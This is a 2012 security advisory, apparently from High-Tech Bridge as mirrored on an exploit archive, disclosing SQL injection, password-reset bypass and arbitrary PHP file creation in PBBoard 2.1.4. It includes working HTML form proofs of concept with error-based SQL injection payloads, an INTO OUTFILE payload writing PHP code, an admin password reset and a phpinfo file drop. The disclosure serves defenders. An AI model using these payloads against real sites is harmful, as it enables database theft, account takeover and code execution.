what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PBBoard 2.1.4 SQL Injection / Improper Authentication / Broken Access Control

PBBoard 2.1.4 SQL Injection / Improper Authentication / Broken Access Control
Posted Aug 9, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

PBBoard version 2.1.4 suffers from improper authentication, improper access control, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection, bypass
advisories | CVE-2012-4034, CVE-2012-4035, CVE-2012-4036
SHA-256 | 98c660124db3dfdff27f3497939655798807cd19db3c0489fbf39341a0590cb1

PBBoard 2.1.4 SQL Injection / Improper Authentication / Broken Access Control

Change Mirror Download
Advisory ID: HTB23101
Product: PBBoard
Vendor: www.pbboard.com
Vulnerable Version(s): 2.1.4 and probably prior
Tested Version: 2.1.4
Vendor Notification: July 18, 2012
Public Disclosure: August 8, 2012
Vulnerability Type: SQL Injection [CWE-89], Improper Authentication [CWE-287], Improper Access Control [CWE-284]
CVE References: CVE-2012-4034, CVE-2012-4035, CVE-2012-4036
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in PBBoard, which can be exploited to perform SQL injection attacks, change password of arbitrary user and create arbitrary files in folder of the vulnerable application.


1) Multiple SQL Injections in PBBoard: CVE-2012-4034

1.1 Input passed via the "username" POST parameter to /index.php (when "id", "member" and "start" parameters are set, and "page" is set to "send") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/index.php?id=1&member=1&page=send&start=1" method="post" name="main" id="main">
<input type="hidden" name="username" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>


1.2 Input passed via the "email" POST parameter to /index.php (when "send_active_code" parameter is set, and "page" is set to "forget") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=forget&send_active_code=1" method="post" name="main" id="main">
<input type="hidden" name="email" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>


1.3 Input passed via the "password" POST parameter to /index.php (when "password_check" and "id" parameters are set, and "page" is set to "forum_archive") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=forum_archive&password_check=1&id=1" method="post" name="main" id="main">
<input type="hidden" name="password" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>


1.4 Input passed via the "section" POST parameter to /index.php (when "move" and "subject_id" parameters are set, and "page" is set to "management") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=management&move=1&subject_id=1" method="post" name="main" id="main">
<input type="hidden" name="section" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>


1.5 Input passed via the "section_id" POST parameter to /index.php (when "startdeleteposts" and "do_replys" parameters are set, and "page" is set to "managementreply") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=managementreply&startdeleteposts=1&do_replys=1" method="post" name="main" id="main">
<input type="hidden" name="section_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="check[]" value="1">
<input type="submit" name="Submit" value="Send">
</form>


1.6 Input passed via the "member_id" POST parameter to /index.php (when "forget" parameter is set, and "page" is set to "new_password") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="new_password" value="1">
<input type="submit" name="Submit" value="Send">
</form>


1.7 Input passed via the "subjectid" POST parameter to /index.php (when "start" parameter is set, and "page" is set to "tags") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=tags&start=1" method="post" name="main" id="main">
<input type="hidden" name="subjectid" value="' union select '<? php_code ?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 INTO OUTFILE '../../../path/to/site/file.php' -- ">
<input type="submit" name="Submit" value="Send">
</form>


Successful exploitation of the above-mentioned vulnerabilities (1.1 - 1.7) requires that "magic_quotes_gpc" is set to "off". SQL injection in POST request can be also exploited with a FireFox browser equipped with Tamper Data plugin.


2) Improper Authentication in PBBoard: CVE-2012-4035

PBBoard permits to change password of any board member due to absence of any verification of user-supplied "member_id" POST parameter in the password change script.

The following PoC changes password for the user with ID=1 (forum administrator):


<form action="http://[host]/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1">
<input type="hidden" name="new_password" value="new_password">
<input type="submit" name="Submit" value="Send">
</form>



3) Improper Access Control in PBBoard: CVE-2012-4036

Input passed via the "xml_name" POST parameter to /admin.php (when "export" and "export_writing" parameters are set, and "page" parameter is set to "addons") is not properly sanitised before being used as a name of a newly created file.

An attacker can create an arbitrary .php file and potentially execute arbitrary PHP code on vulnerable system depending on server configuration.

The following PoC will create a file located at: http://[host]/addons/file.php that will display result of phpinfo() function execution:


<form action="http://[host]/admin.php?page=addons&export=1&export_writing=1&xml_name=file.php" method="post" name="main" id="main">
<input type="hidden" name="context" value='<? phpinfo(); ?>'>
<input type="submit" name="Submit" value="Send">
</form>


Successful exploitation of this vulnerability requires administrative priveledges, however can be also exploited via CSRF vector (CVE-2012-1216). The CSRF vulnerability has not been patched by the Vendor Notification date.

-----------------------------------------------------------------------------------------------

Solution:

Apply 5-8-2012 Security Patch

More Information:
http://www.pbboard.com/forums/t10352.html
http://www.pbboard.com/forums/t10353.html

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23101 - https://www.htbridge.com/advisory/HTB23101 - Multiple vulnerabilities in PBBoard.
[2] PBBoard - http://www.pbboard.com - PBBoard is a free flat-forum bulletin board software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close